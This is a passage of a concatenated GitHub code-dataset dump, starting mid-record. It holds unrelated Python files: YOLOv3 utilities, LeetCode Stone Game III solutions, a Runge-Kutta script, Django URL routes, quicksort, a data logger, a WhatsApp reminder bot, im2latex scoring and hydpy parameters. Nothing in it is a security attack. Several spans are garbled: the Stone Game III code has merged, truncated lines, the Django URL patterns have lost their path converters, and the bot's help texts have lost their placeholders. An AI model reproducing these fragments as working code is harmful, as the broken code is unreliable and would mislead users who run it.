delimiter=',')\n path = path.reshape((-1, 1, 2)).astype(np.int32)\n\n # Draw lines.\n cv2.polylines(im, [path], False, (0, 255, 255))\n\n cv2.imshow(\"Path\", im)\n cv2.waitKey(0)\n\nif __name__ == '__main__':\n main()\n","repo_name":"griswaldbrooks/scripts","sub_path":"blob_tracking/draw_path_on_im.py","file_name":"draw_path_on_im.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5667340726","text":"import torch\nimport torch.nn.functional as F\nimport numpy as np\nimport cv2\n\ndef transform_dimensions(y, num_anchors):\n batch_size = y.size(0)\n grid_size = y.size(2)\n y = y.view(batch_size, -1, grid_size*grid_size)\n y = y.transpose(1, 2).contiguous()\n y = y.view(batch_size, grid_size*grid_size*num_anchors, -1)\n\n return y\n\ndef transform_predictions(y, anchors, inp_dim): # y.shape: [B, 255, grid, grid]\n num_anchors = len(anchors)\n grid_size = y.size(2)\n y = transform_dimensions(y, num_anchors) # y.shape: [B, N, 85]\n bb_size = y.size(1)\n\n idx = np.arange(bb_size) // len(anchors)\n y_idx = (idx // grid_size).astype(np.float32)\n x_idx = (idx % grid_size).astype(np.float32)\n\n x_idx = torch.FloatTensor(x_idx, device=y.device)\n y_idx = torch.FloatTensor(y_idx, device=y.device)\n\n y[:, :, 0].sigmoid_().add_(x_idx)\n y[:, :, 1].sigmoid_().add_(y_idx)\n\n dim = torch.FloatTensor(anchors, device=y.device)\n dim = dim.repeat(grid_size*grid_size, 1).unsqueeze(0)\n\n y[:, :, 2:4].exp_().mul_(dim)\n y[:, :, 4:].sigmoid_()\n\n stride = inp_dim // grid_size\n y[:, :, :2] *= stride\n\n return y\n\ndef preproc_before_nms(y, dim=416, thres=0.5): # y.shape: [N, 85], for one image only\n y[:, 5:].mul_(y[:, 4:5])\n max_conf, max_conf_idx = torch.max(y[:,5:], 1)\n max_conf.unsqueeze_(1)\n max_conf_idx = max_conf_idx.float().unsqueeze(1)\n left_top_x = torch.clamp(y[:, 0] - y[:, 2]/2, min=0.0).unsqueeze(1)\n left_top_y = torch.clamp(y[:, 1] - y[:, 3]/2, min=0.0).unsqueeze(1)\n right_bot_x = torch.clamp(y[:, 0] + y[:, 2]/2, max=dim-1.0).unsqueeze(1)\n right_bot_y = torch.clamp(y[:, 1] + y[:, 3]/2, max=dim-1.0).unsqueeze(1)\n\n y = torch.cat([max_conf_idx, max_conf, left_top_x, left_top_y, right_bot_x, right_bot_y], 1)\n mask = y[:, 1] > thres\n\n # y_, _ = torch.sort(y[:, 1], descending=True)\n # print(y_[:10])\n\n return y[mask]\n\ndef calc_iou(bb1, bb2): #[left_top_x, left_top_y, right_bottom_x, right_bottom_y], bb1.shape: [1, 4], bb2.shape: [N, 4]\n inter_x1 = torch.max(bb1[:,0], bb2[:,0])\n inter_y1 = torch.max(bb1[:,1], bb2[:,1])\n inter_x2 = torch.min(bb1[:,2], bb2[:,2])\n inter_y2 = torch.min(bb1[:,3], bb2[:,3])\n\n inter_area = torch.clamp(inter_x2-inter_x1, min=0) * torch.clamp(inter_y2-inter_y1, min=0)\n union_area = (bb1[:, 2] - bb1[:, 0]) * (bb1[:, 3] - bb1[:, 1]) + (bb2[:, 2] - bb2[:, 0]) * (bb2[:, 3] - bb2[:, 1]) - inter_area\n\n return inter_area / union_area\n\n\ndef nms(y, iou_thres): # y.shape: [N, 85], for one image only\n _, sort_idx = torch.sort(y[:, 1], descending=True)\n y = y[sort_idx]\n classes = torch.unique(y[:, 0])\n \n y_res = None\n flag = True\n for cls in classes:\n y_cls = y[y[:,0]==cls]\n bb_size = y_cls.size(0)\n while bb_size > 0:\n if flag:\n y_res = y_cls[0:1, :]\n flag = False\n else:\n y_res = torch.cat([y_res, y_cls[0:1,:]], 0)\n\n if bb_size == 1: break\n ious = calc_iou(y_cls[0:1, 2:], y_cls[1:, 2:])\n mask = (ious < iou_thres)\n y_cls = y_cls[1:,:][mask]\n bb_size = y_cls.size(0)\n\n return y_res\n\ndef choose_color(idx, num=80):\n base = 80 // 3 + 1\n color = []\n while len(color) < 3:\n if idx > 0:\n color.append( min(int(idx * 255 / (base - 1)), 255) )\n else:\n color.append(0)\n idx -= base\n \n return tuple(color)\n\ndef draw_bboxes(img, bbs, cls_names, dim=416):\n h, w = img.shape[:2]\n x_scale = w / dim\n y_scale = h / dim\n\n cls_size = len(cls_names)\n for bb in bbs:\n cls = int(bb[0])\n color = choose_color(cls, cls_size)\n point1 = (int(bb[2]*x_scale), int(bb[3]*y_scale))\n point2 = (int(bb[4]*x_scale), int(bb[5]*y_scale))\n cv2.rectangle(img, point1, point2, color, 1)\n\n text = cls_names[cls] + ': %d%%' % int(bb[1]*100)\n text_size = cv2.getTextSize(text, cv2.FONT_HERSHEY_COMPLEX_SMALL, 0.6 , 1)[0]\n cv2.rectangle(img, point1, (point1[0]+text_size[0]+2, point1[1]+text_size[1]+2), color, -1)\n cv2.putText(img, text, (point1[0]+1, point1[1]+text_size[1]+1), cv2.FONT_HERSHEY_COMPLEX_SMALL, 0.6, [225,255,255], 1)\n\n return img\n\n","repo_name":"feixyz10/yolov3-pytorch","sub_path":"utils_detect.py","file_name":"utils_detect.py","file_ext":"py","file_size_in_byte":4263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18404114219","text":"from itertools import accumulate; from math import floor,ceil,sqrt; import operator; import random; import string; from bisect import *; from collections import deque, defaultdict, Counter, OrderedDict; from functools import reduce, cache, cmp_to_key; from heapq import *; import unittest; from typing import List,Optional; from functools import cache; from operator import lt, gt\nfrom binary_tree_tester import ser,des,TreeNode; from a_linked_list import make_linked_list\nfrom Problem_Solving_Python.template.binary_tree import deserialize\ndef get_sol(): return Solution()\nclass Solution:\n # time O(n) space O(n)\n # to achieve space O(1) follow the comments\n def stoneGameIII(self, nums: List[int]) -> str:\n n=len(nums)\n dp=[float('-inf')]*(n+1)\n dp[n]=0 # change 'n' to 'i%4'\n for i in range(n-1,-1,-1):\n take=0\n # dp[i%4]=float('-inf') # add this line\n for k in range(3):\n if i+k0 else 'Bob' if res<0 else 'Tie'\nclass Solution2:\n # time O(n) space O(1)\n def stoneGameIII(self, nums: List[int]) -> str:\n n=len(nums)\n dp=[float('-inf')]*(3+1)\n dp[n%4]=0\n for i in range(n-1,-1,-1):\n take=0\n dp[i%4]=float('-inf')\n for k in range(3):\n if i+k0 else 'Bob' if res<0 else 'Tie'\nclass Solution5:\n def stoneGameIII(self, stoneValue: List[int]) -> str:\n @cache\n def dp(i): # think it from alice's perspective and assume to be maximizing agent\n if i>=n: return 0\n\n res=float('-inf')\n take=0\n for j in range(i,min(n,i+3)):\n take+=stoneValue[j]\n # take-dp(j+1) means myScore-Opponent's score\n res=max(res,take-dp(j+1))\n return res\n\n n=len(stoneValue)\n score = dp(0)\n return \"Alice\" if score>0 else \"Bob\" if score<0 else \"Tie\"\nclass Solution3:\n # bad solution\n def stoneGameIII(self, stoneValue: List[int]) -> str:\n @cache\n def func(i:int,turn:int): # turn=1 -> alice's turn. turn=-1 -> bob's turn.\n if i>=n: return 0\n score=0\n best_max=float('-inf')\n best_min=float('inf')\n for j in range(3):\n if i+j0 else 'Bob' if res<0 else 'Tie'\nclass Solution4:\n # bad solution\n def stoneGameIII(self, stoneValue: List[int]) -> str:\n @cache\n def func(i:int,turn:int): # turn=1 -> alice's turn. turn=-1 -> bob's turn.\n if i>=n: return 0\n score=0\n if turn==1:\n best=float('-inf')\n for j in range(3):\n if i+j0 else 'Bob' if res<0 else 'Tie'\n\n\nclass Tester(unittest.TestCase):\n def test1(self):\n self.assertEqual(\"Bob\",get_sol().stoneGameIII([1,2,3,7]))\n def test2(self):\n self.assertEqual(\"Alice\",get_sol().stoneGameIII([1,2,3,-9]))\n def test3(self):\n self.assertEqual(\"Tie\",get_sol().stoneGameIII([1,2,3,6]))\n def test4(self):\n self.assertEqual(\"Tie\",get_sol().stoneGameIII([-1,-2,-3]))\n def test5(self):\n self.assertEqual(\"Alice\",get_sol().stoneGameIII([-1,-2]))\n def test6(self):\n self.assertEqual(\"Tie\",get_sol().stoneGameIII([-1,-3,-2]))\n # def test7(self):\n # def test8(self):\n # def test9(self):\n","repo_name":"afzalsiddique/problem-solving","sub_path":"Problem_Solving_Python/leetcode/lc1406.py","file_name":"lc1406.py","file_ext":"py","file_size_in_byte":4569,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"25278492692","text":"def main():\n n, m = map(int, input().split())\n explosive = [[[False for _ in range(n)] for _ in range(n)] for _ in range(n)]\n for i in range(m):\n a, b, c = map(int, input().split())\n explosive[a-1][b-1][c-1] = True\n\n ans = 0\n for mix in range(2 ** n):\n trigger = [False for _ in range(n)]\n good = True\n for i in range(n):\n for j in range(i+1, n):\n for k in range(j+1, n):\n if not explosive[i][j][k]:\n continue\n elif (mix & (1 << i)) and (mix & (1 << j)) and (mix & (1 << k)):\n good = False\n break\n elif (mix & (1 << i)) and (mix & (1 << j)):\n trigger[k] = True\n elif (mix & (1 << i)) and (mix & (1 << k)):\n trigger[j] = True\n elif (mix & (1 << j)) and (mix & (1 << k)):\n trigger[i] = True\n if good and sum(trigger) > ans:\n ans = sum(trigger)\n\n print(ans)\n\nif __name__ == '__main__':\n main()\n","repo_name":"takumi152/atcoder","sub_path":"past202012/past202012f.py","file_name":"past202012f.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30665683061","text":"import math\r\nimport matplotlib.pyplot as plt\r\n\r\nqwe = []\r\nasd = []\r\n\r\ndef function(t, T, param):\r\n velocity = -13137.38* math.exp(t * ((-1.5) / 10)) - 450/(-1.5);\r\n moment = (-1.5) * velocity + 450;\r\n return moment * 0.01 + velocity*velocity*0.0001 + 0.1*param - 0.1*T;\r\n\r\n\r\ndef runge_kutta(time, parametr, T_nach, i, q, asd): \r\n Tp = 110\r\n a = time[i]\r\n b = time[i] + 10\r\n time.append(b)\r\n h = (b - a) / 10\r\n n = 99\r\n t = []\r\n V1 = []\r\n V2 = []\r\n V3 = []\r\n V4 = []\r\n T = []\r\n t.append(time[i])\r\n T.append(T_nach[i])\r\n V1.append(0)\r\n V2.append(0)\r\n V3.append(0)\r\n V4.append(0)\r\n \r\n for j in range(1,10):\r\n t.append(a + j * h)\r\n V1.append(h * function(t[j - 1], T[j - 1], parametr))\r\n V2.append(h * function(t[j - 1] + h / 2.0, T[j - 1] + V1[j] / 2.0, parametr))\r\n V3.append(h * function(t[j - 1] + h / 2, T[j - 1] + V2[j] / 2, parametr))\r\n V4.append(h * function(t[j - 1] + h, T[j - 1] + V3[j], parametr))\r\n T.append(T[j - 1] + (V1[j] + 2 * V2[j] + 2 * V3[j] + V4[j]) / 6)\r\n T_nach.append(T[9])\r\n for i in range(len(t)):\r\n q.append(t[i])\r\n asd.append(T[i])\r\n for i in range(10): \r\n if T[i] >= Tp: \r\n return t[i]\r\n return -1;\r\n\r\nT_nach = []\r\nparam = int(input())\r\ntimer = []\r\ntimer.append(37.14129)\r\nT_nach.append(param + 40.688)\r\n\r\nfor i in range(35):\r\n r = runge_kutta(timer, param, T_nach, i, qwe ,asd)\r\n if r != -1:\r\n print(r)\r\n break\r\nprint(qwe)\r\nprint(asd)\r\n\r\nplt.plot(qwe, asd)\r\nplt.show()","repo_name":"Andrey-prog/Python-projects","sub_path":"ODE/PythonApplication1.py","file_name":"PythonApplication1.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42679572593","text":"from django.urls import path\nfrom django.contrib.auth import views as auth_views\nfrom django.contrib.auth.decorators import login_required\nfrom users import views as user_views\nfrom invoices import views as invoice_views\n\nfrom . import views as building_views\n\nurlpatterns = [\n # Login Register Logout\n path('', building_views.home, name='housing-home'),\n path('register/', user_views.register, name='register'),\n path('profile/', login_required(user_views.Profile.as_view()), name='profile'),\n path('profile/moveout/', user_views.move_out, name='move-out'),\n path('login/',\n auth_views.LoginView.as_view(template_name='users/login.html', redirect_authenticated_user=True),\n name='login'),\n path('logout/', auth_views.LogoutView.as_view(template_name='users/logout.html'), name='logout'),\n\n # Auth\n path('activate///', user_views.ActivateAccountView.as_view(), name='activate'),\n path('set-new-password///', user_views.SetNewPasswordView.as_view(), name='set-new-password'),\n path('request-reset-email/', user_views.RequestResetEmailView.as_view(), name='request-reset-email'),\n path('profile/request-new-activation/', user_views.resend_activation_email, name='request-new-activation'),\n\n # Invoice\n path('fill-invoice-data/', invoice_views.InvoiceView.as_view(), name='fill-invoice'),\n\n path('pdf_view/', user_views.ViewPDF.as_view(), name='pdf_view'),\n path('pdf_download_view/', user_views.DownloadPDF.as_view(), name='pdf_download_view'),\n]\n","repo_name":"lderlecki/housing-association","sub_path":"buildings/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10539635683","text":"def quickSort(arr):\n less = []\n pivotList = []\n more = []\n if len(arr) <= 1:\n return arr\n else:\n pivot = arr[0]\n for i in arr:\n if i < pivot:\n less.append(i)\n elif i > pivot:\n more.append(i)\n else:\n pivotList.append(i)\n less = quickSort(less)\n more = quickSort(more)\n return less + pivotList + more\n\nif __name__ == \"__main__\":\n arr=[int(x) for x in input(\"Enter the array elements : \").split()]\n a = quickSort(arr)\n print(a)","repo_name":"iam-abbas/cs-algorithms","sub_path":"Python/QuickSort.py","file_name":"QuickSort.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":221,"dataset":"github-code","pt":"21"} +{"seq_id":"42168757907","text":"#! /usr/bin/env python3\n\nimport GL840.DataAcquisition as Daq\nimport GL840.MongoDBHandler as Mongo\nimport GL840.Converter as Converter\n\n\ndef run():\n # The length of channel name must be the number of enabled channels\n channel_name = [f\"Ch{i+1}\" for i in range(20)]\n channel_name[0] = \"Temperature_1\"\n mongo = Mongo.MongoDBPusher()\n config = Daq.GL840Configuration(\n \"192.168.0.1\", 80, username=\"GL840\", password=\"GL840\")\n # config.channel_status = [True, False, True] + [False for i in range(17)]\n config.channel_status = [True for i in range(20)]\n config.channel_name = channel_name\n daq = Daq.DataAcquisition(\n config, csv_file_base=\"test\", mongo=mongo, override=True, num_event_per_file=100)\n # daq.set_function(0, Converter.Unity)\n daq.initialize_single()\n while 1:\n try:\n daq.data_acquire(1, 5)\n except KeyboardInterrupt:\n break\n daq.finalize_single(True)\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"STA205233/pyGL840","sub_path":"Run_GL840.py","file_name":"Run_GL840.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72179779574","text":"import environ\nimport datetime\nfrom datetime import date as date_fn, timedelta\nimport requests\nimport re\nfrom django.contrib.auth import get_user_model\nfrom rest_framework.authtoken.models import Token\n\nfrom tasks.models import Stage\nUser = get_user_model()\n\n\nenv = environ.Env()\n\nbase_url = env(\"BASE_URL\", default=\"http://127.0.0.1:8000/api/\")\n\nerror_msg = \"Error in processing your request, please try again later.\"\n\n\ndef make_request(url, method, body, token):\n headers = {\"Authorization\": f\"Token {token}\",\n \"Content-Type\": \"application/json; charset=utf-8\"}\n if (method == \"get\"):\n response = requests.get(base_url+url, headers=headers)\n if (response.ok):\n return response.json()\n else:\n raise Exception\n if (method == \"post\" or method == \"put\" or method == \"delete\" or method == \"patch\"):\n\n response = None\n if method == \"post\":\n response = requests.post(base_url+url, json=body, headers=headers)\n elif method == \"put\":\n response = requests.put(base_url+url, json=body, headers=headers)\n elif method == \"delete\":\n response = requests.delete(base_url+url, headers=headers)\n elif method == \"patch\":\n response = requests.patch(base_url+url, json=body, headers=headers)\n\n if (response and response.ok):\n return response.json()\n else:\n raise Exception\n\n\ndef create_task(title, due_date, stage_id, token):\n \"\"\"\n This function creates a task in account with given title and due_date.\n \"\"\"\n url = \"task/\"\n body = {\n \"title\": title,\n \"description\": \"Created through Whatsapp\",\n \"priority\": 1,\n \"due_date\": due_date,\n \"stage\": stage_id\n }\n res = None\n\n try:\n res = make_request(url, \"post\", body, token)\n except:\n return error_msg\n\n return f\"Reminder to _{title}_ succesfully added to your list.\"\n\n\ndef get_tasks_count(token, complete, due_date=None):\n \"\"\"\n This function returns number of tasks in account with filter of complete and due_date.\n \"\"\"\n url = None\n if due_date:\n url = f\"task?completed={complete}&due_date={due_date}\"\n else:\n url = f\"task?completed={complete}\"\n res = None\n\n try:\n res = make_request(url, \"get\", None, token)\n except:\n return error_msg\n\n return len(res)\n\n\ndef show_tasks_of_board(board_id, token, due_date=None):\n\n url = f\"board/{board_id}/task?ordering=priority,-due_date\"\n if (due_date):\n url = url + f\"&due_date={due_date}\"\n res = None\n\n try:\n res = make_request(url, \"get\", None, token)\n except:\n return error_msg\n\n if (len(res) == 0):\n return \"Task list empty.\"\n stage_tasks = {}\n\n for task in res:\n stage_tasks[task[\"stage_name\"]] = []\n for task in res:\n stage_tasks[task[\"stage_name\"]].append(task)\n\n message = \"\"\n for stage, tasks in stage_tasks.items():\n message = message + f\"{stage} 📋\\n\"\n\n for task in tasks:\n title = task.get(\"title\")\n uid = task.get(\"id\")\n completed = task.get(\"completed\")\n\n message = message + f\"*{title}* (uid:_{uid}_) \"\n if completed:\n message = message+\"✅\\n\"\n else:\n message = message+\"⏳\\n\"\n message = message + \"\\n\"\n\n return message\n\n\ndef change_task_status(task_id, status, token):\n \"\"\"\n This function changes the status of task with given id.\n \"\"\"\n url = f\"task/{task_id}/\"\n body = {\n \"completed\": status\n }\n res = None\n\n try:\n res = make_request(url, \"patch\", body, token)\n except:\n return error_msg\n\n msg = \"completed\" if status else \"pending\"\n return f\"Task status changed to {msg}.\"\n\n\ndef preview_task(task_id, token):\n\n url = f\"task/{task_id}\"\n res = None\n\n try:\n res = make_request(url, \"get\", None, token)\n except:\n return error_msg\n\n title = res.get(\"title\")\n desc = res.get(\"description\")\n priority = res.get(\"priority\")\n completed = res.get(\"completed\")\n stage_name = res.get(\"stage_name\")\n due_date = res.get(\"due_date\")\n\n # formatting due_date\n due_date = datetime.datetime.strptime(\n due_date, \"%Y-%m-%d\").strftime(\"%d %b %Y\")\n\n if completed:\n completed = \"✅\"\n else:\n completed = \"⏳\"\n\n message = f\"\"\"\n*Title:* _{title}_\n\n*Description:* _{desc}_\n\n*Priority:* _{priority}_\n\n*Completed:* {completed}\n\n*Stage:* _{stage_name}_\n\n*Due Date:* _{due_date}_\n \"\"\"\n\n return message\n\n\ndef help(message):\n if message == \"help reminder\":\n return \"\"\"\nTo create reminder for a task: *Hey, remind me to today/tomorrow/*\n\nexample1: *Hey, remind me to buy milk today*\nexample2: *Hey, remind me to recharge TV on 2022-12-23*\n\n_Note: date format is strictly yyyy-mm-dd_\n \"\"\"\n\n if message == \"help list\":\n return \"\"\"\nTo list all pending and completed tasks: *Hey, list all my tasks*\n\nexample1: *Hey, list all my tasks*\n\n_Note: this will only list tasks in user's whatsapp board_\n \"\"\"\n\n if message == \"mark complete\":\n return \"\"\"\nTo mark a task as complete: *Hey, mark task as complete*\n\nexample1: *Hey, mark task 1 as complete*\n\n_Note: You can get the uid of a task by listing all tasks_\n \"\"\"\n\n if message == \"help preview\":\n return \"\"\"\nTo preview a task: *Hey, preview task *\n\nexample1: *Hey, preview task 1*\n\n_Note: You can get the uid of a task by listing all tasks_\n \"\"\"\n\n\ndef process_message(name, message, phone):\n\n user = None\n try:\n user = User.objects.get(phone=phone)\n if (user.wa_sending == False):\n raise Exception\n # if WA feature is not enables\n except:\n return f\"\"\"\n*Whastapp feature not enabled in your account*\nHi, {name}\nThere's a little problem, but no worries, we can solve it together! I have listed the step below that you have to follow in order to enable whatsapp feature for your super task manager.\nStep1: Login to your account\nStep2: Click on your profile picture\nStep3: Go to settings and enable whatsapp feature\nWill meet you after this!!!\n\"\"\"\n\n # generate auth token\n token, created = Token.objects.get_or_create(user=user)\n reminder_board_id = user.reminder_board_id\n stage_id = Stage.objects.get(board=reminder_board_id, title=\"Reminders\").id\n message = message.lower()\n\n # Hi message\n if (message == \"hi\" or message == \"hello\" or message == \"hey\"):\n return f\"\"\"\nHello, {name} this is SuperTaskManager at your service, here are few you can use me for.\n*Feature: Command*\n*1. To create a reminder:* _Hey, remind me to today/tomorrow/_\ntype *help reminder* to know more.\n\n*2. To list all pending/completed tasks:* _Hey, list all my tasks_\ntype *help list* to know more.\n\n*3. To mark a task as completed:* _Hey, mark task as complete_\ntype *help mark complete* to know more.\n\n*4. To preview a task:* _Hey, preview task _\ntype *help preview* to know more.\n\n*5. To know your incoming tasks:* _My tasks_\nthis will display all your tasks with deadline today and tomorrow.\n\n \"\"\"\n\n if \"remind\" in message:\n # regex to check Hey, remind me to today/tomorrow/\n if (re.search(r\"^hey, remind me to (.*) (today|tomorrow|\\d{4}-\\d{2}-\\d{2})$\", message)):\n task = message.split(\"to\")[1].strip()\n date = message.split(\" \")[-1]\n\n # sanitize task title\n if task.split(\" \")[-1] == date:\n # remove on from task title\n task = task.split(\"on\")[0].strip()\n\n if date == \"today\":\n date = datetime.date.today().strftime(\"%Y-%m-%d\")\n elif date == \"tomorrow\":\n date = (datetime.date.today() +\n datetime.timedelta(days=1)).strftime(\"%Y-%m-%d\")\n\n res = create_task(task, date, stage_id, token)\n return res\n else:\n return help(\"help reminder\")\n\n if \"list\" in message:\n # regex to check Hey, list all my pending/completed tasks\n if (re.search(r\"^hey, list all my tasks$\", message)):\n\n res = show_tasks_of_board(reminder_board_id, token)\n return res\n else:\n return help(\"help list\")\n\n if \"mark\" in message:\n # regex to check Hey, mark task as complete\n if (re.search(r\"^hey, mark task (\\d+) as complete$\", message)):\n task_id = message.split(\" \")[-3]\n res = change_task_status(task_id, True, token)\n return res\n else:\n return help(\"help mark complete\")\n\n if \"preview\" in message:\n # regex to check Hey, preview task \n if (re.search(r\"^hey, preview task (\\d+)$\", message)):\n task_id = message.split(\" \")[-1]\n res = preview_task(task_id, token)\n return res\n else:\n return help(\"help preview\")\n\n if message == \"my tasks\":\n today = date_fn.today()\n tomorrow = today + timedelta(days=1)\n\n tasks_due_today = show_tasks_of_board(\n reminder_board_id, token, due_date=today)\n tasks_due_tomorrow = show_tasks_of_board(\n reminder_board_id, token, due_date=tomorrow)\n\n return f\"\"\"\nHere's the list of your incoming tasks:\n\n*Tasks expiring today*\n{tasks_due_today}\n*Tasks expiring tomorrow*\n{tasks_due_tomorrow}\nGoodLuck! :)\n \"\"\"\n\n return \"\"\"\nI wasn't able to understand your message, please type *Hi* to know all the things I can do for you.\n \"\"\"\n","repo_name":"ishanExtreme/Superman-Backend","sub_path":"tasks/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23110691541","text":"import distance\nimport numpy as np\nfrom scipy.misc import imread\nfrom tf_model.im2latex.utils.general import get_files\n\n\ndef score_dirs(dir_ref, dir_hyp, prepro_img):\n \"\"\"\n Returns scores from a dir with images\n\n :param dir_ref: (string)\n :param dir_hyp: (string)\n :param prepro_img: lambda function\n :return: scores (dict)\n \"\"\"\n img_refs = [f for f in get_files(dir_ref) if f.split('.')[-1] == 'png']\n img_hyps = [f for f in get_files(dir_hyp) if f.split('.')[-1] == 'png']\n em_tot = l_dist_tot = length_tot = m = 0\n for img_name in img_refs:\n img_ref = imread(dir_ref + img_name)\n img_ref = prepro_img(img_ref)\n if img_name in img_hyps:\n img_hyp = imread(dir_hyp + img_name)\n img_hyp = prepro_img(img_hyp)\n l_dist, length = img_edit_distance(img_ref, img_hyp)\n else:\n l_dist = length = img_ref.shape[1]\n\n l_dist_tot += l_dist\n length_tot += length\n if l_dist < 1:\n em_tot += 1\n\n m += 1\n\n # compute scores\n return {\n 'EM': em_tot / float(m) if m > 0 else 0,\n 'Lev': 1 - l_dist_tot / float(length_tot) if length_tot > 0 else 0\n }\n\n\ndef img_edit_distance(img1, img2):\n \"\"\"\n Computes Levenshtein distance between two images.\n\n Slices the images into columns and consider one column as a character.\n\n :param img1: np array as shape (h, w, 1)\n :param img2: np array as shape (h, w, 1)\n :return: column-wise Levenshtein distance, max length of the two sequences\n \"\"\"\n # load the image (h, w)\n img1, img2 = img1[:, :, 0], img2[:, :, 0]\n\n # transpose and convert to 0 or 1\n img1 = np.transpose(img1)\n h1 = img1.shape[1]\n img1 = (img1 <= 128).astype(np.uint8)\n img2 = np.transpose(img2)\n h2 = img2.shape[1]\n img2 = (img2 <= 128).astype(np.uint8)\n\n # create binaries for each column\n if h1 == h2:\n seq1 = [''.join([str(i) for i in item]) for item in img1]\n seq2 = [''.join([str(i) for i in item]) for item in img2]\n elif h1 > h2:\n seq1 = [''.join([str(i) for i in item]) for item in img1]\n seq2 = [''.join([str(i) for i in item]) + ''.join(['0'] * (h1 - h2)) for item in img2]\n else:\n seq1 = [''.join([str(i) for i in item]) + ''.join(['0'] * (h2 - h1)) for item in img1]\n seq2 = [''.join([str(i) for i in item]) for item in img2]\n\n # convert each column binary into int\n seq1_int = [int(item, 2) for item in seq1]\n seq2_int = [int(item, 2) for item in seq2]\n\n # distance\n l_dist = distance.levenshtein(seq1_int, seq2_int)\n length = float(max(len(seq1_int), len(seq2_int)))\n return l_dist, length\n","repo_name":"markmo/dltemplate","sub_path":"src/tf_model/im2latex/evaluation/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"21"} +{"seq_id":"34421568578","text":"# -*- coding: utf-8 -*-\n# pylint: disable=missing-module-docstring\n\n# import...\n# ...from site-packages\nimport numpy\n\n# ...from HydPy\nfrom hydpy.core import exceptiontools\nfrom hydpy.core import parametertools\nfrom hydpy.models.meteo import meteo_parameters\n\n\nclass NmbHRU(parametertools.Parameter):\n \"\"\"The number of hydrological response units [-].\n\n |NmbHRU| determines the length of the 1-dimensional parameters and sequences:\n\n >>> from hydpy.models.meteo import *\n >>> parameterstep()\n >>> nmbhru(5)\n >>> precipitationfactor.shape\n (5,)\n >>> fluxes.precipitation.shape\n (5,)\n\n Changing the value of |NmbHRU| later reshapes the affected parameters and sequences\n and makes resetting their values necessary:\n\n >>> precipitationfactor(2.0)\n >>> precipitationfactor\n precipitationfactor(2.0)\n >>> nmbhru(3)\n >>> precipitationfactor\n precipitationfactor(?)\n\n Re-defining the same value does not delete the already available data:\n\n >>> precipitationfactor(2.0)\n >>> nmbhru(3)\n >>> precipitationfactor\n precipitationfactor(2.0)\n \"\"\"\n\n NDIM, TYPE, TIME, SPAN = 0, int, None, (1, None)\n\n def __call__(self, *args, **kwargs) -> None:\n old_shape = exceptiontools.getattr_(self, \"value\", None)\n super().__call__(*args, **kwargs)\n new_shape = self.value\n if new_shape != old_shape:\n for subpars in self.subpars.pars:\n for par in subpars:\n if par.NDIM == 1:\n par.shape = new_shape\n for subseqs in self.subpars.pars.model.sequences:\n for seq in subseqs:\n if seq.NDIM == 1:\n seq.shape = new_shape\n\n\nclass HRUArea(parametertools.Parameter):\n \"\"\"The area of each hydrological response unit [km²].\"\"\"\n\n NDIM, TYPE, TIME, SPAN = 1, float, None, (0.0, None)\n\n\nclass Latitude(parametertools.Parameter):\n \"\"\"The latitude [decimal degrees].\"\"\"\n\n NDIM, TYPE, TIME, SPAN = 0, float, None, (-90.0, 90.0)\n\n\nclass Longitude(parametertools.Parameter):\n \"\"\"The longitude [decimal degrees].\"\"\"\n\n NDIM, TYPE, TIME, SPAN = 0, float, None, (-180.0, 180.0)\n\n\nclass AngstromConstant(parametertools.MonthParameter):\n \"\"\"The Ångström \"a\" coefficient for calculating global radiation [-].\"\"\"\n\n TYPE, TIME, SPAN = float, None, (0.0, 1.0)\n INIT = 0.25\n\n def trim(self, lower=None, upper=None):\n r\"\"\"Trim values following :math:`AngstromConstant \\leq 1 - AngstromFactor` or\n at least following :math:`AngstromConstant \\leq 1`.\n\n >>> from hydpy.models.meteo import *\n >>> parameterstep()\n >>> angstromconstant(1.5)\n >>> angstromconstant\n angstromconstant(1.0)\n >>> angstromfactor.value = 0.6\n >>> angstromconstant(0.5)\n >>> angstromconstant\n angstromconstant(0.4)\n \"\"\"\n if upper is None:\n upper = self.subpars.angstromfactor.values.copy()\n idxs = numpy.isnan(upper)\n upper[idxs] = 1.0\n upper[~idxs] = 1.0 - upper[~idxs]\n super().trim(lower, upper)\n\n\nclass AngstromFactor(parametertools.MonthParameter):\n \"\"\"The Ångström \"b\" coefficient for calculating global radiation [-].\"\"\"\n\n TYPE, TIME, SPAN = float, None, (0.0, 1.0)\n INIT = 0.5\n\n def trim(self, lower=None, upper=None):\n r\"\"\"Trim values in accordance with :math:`AngstromFactor \\leq 1 -\n AngstromConstant` or at least in accordance with :math:`AngstromFactor \\leq 1`.\n\n >>> from hydpy.models.meteo import *\n >>> parameterstep()\n >>> angstromfactor(1.5)\n >>> angstromfactor\n angstromfactor(1.0)\n >>> angstromconstant.value = 0.6\n >>> angstromfactor(0.5)\n >>> angstromfactor\n angstromfactor(0.4)\n \"\"\"\n if upper is None:\n upper = self.subpars.angstromconstant.values.copy()\n idxs = numpy.isnan(upper)\n upper[idxs] = 1.0\n upper[~idxs] = 1.0 - upper[~idxs]\n super().trim(lower, upper)\n\n\nclass AngstromAlternative(parametertools.MonthParameter):\n \"\"\"An alternative Ångström coefficient for replacing coefficient 